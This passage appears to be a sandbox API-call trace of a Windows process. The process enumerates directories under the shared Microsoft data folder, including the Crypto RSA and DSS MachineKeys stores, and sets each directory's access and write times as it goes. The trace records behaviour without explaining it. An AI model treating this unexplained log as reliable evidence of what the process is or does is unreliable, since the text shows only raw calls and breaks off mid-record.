DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0256.697] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance" (normalized: "c:\\users\\all users\\microsoft\\assistance"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.698] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.698] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.698] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.698] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.698] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.698] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.699] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.699] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.758] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.758] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0256.758] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0256.780] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto" (normalized: "c:\\users\\all users\\microsoft\\crypto"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0256.781] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.781] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.781] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0256.781] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.781] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.782] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\machinekeys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0256.782] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.782] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.790] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys" (normalized: "c:\\users\\all users\\microsoft\\crypto\\keys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0256.790] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.790] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.790] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.791] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.791] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.791] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.791] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.791] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.792] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0256.792] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.792] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.793] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage" (normalized: "c:\\users\\all users\\microsoft\\device stage"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.793] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.793] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.794] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.794] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.794] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.794] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.795] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.795] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.797] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0256.797] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.797] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.797] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.798] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.798] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.798] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.799] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.799] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.800] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.801] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0256.801] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0256.801] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0256.801] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.801] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.803] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0256.803] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0256.803] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0256.804] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync" (normalized: "c:\\users\\all users\\microsoft\\devicesync"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0256.804] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.804] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.805] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DRM" (normalized: "c:\\users\\all users\\microsoft\\drm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.805] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.805] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.805] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server" (normalized: "c:\\users\\all users\\microsoft\\drm\\server"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.805] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.805] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.806] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\eHome" (normalized: "c:\\users\\all users\\microsoft\\ehome"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0256.806] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.806] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.806] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs" (normalized: "c:\\users\\all users\\microsoft\\ehome\\logs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0256.806] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.806] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.807] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer" (normalized: "c:\\users\\all users\\microsoft\\event viewer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.808] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.808] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.811] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.812] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.812] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.812] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\applicationviewsrootnode"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.812] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.812] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.813] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL" (normalized: "c:\\users\\all users\\microsoft\\identitycrl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.813] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.813] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.813] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player" (normalized: "c:\\users\\all users\\microsoft\\media player"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0256.813] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.813] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.814] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF" (normalized: "c:\\users\\all users\\microsoft\\mf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.814] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.814] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.815] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN" (normalized: "c:\\users\\all users\\microsoft\\msdn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0256.815] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.815] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.816] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0" (normalized: "c:\\users\\all users\\microsoft\\msdn\\8.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0256.816] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.816] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.817] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework" (normalized: "c:\\users\\all users\\microsoft\\netframework"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.817] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.817] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, 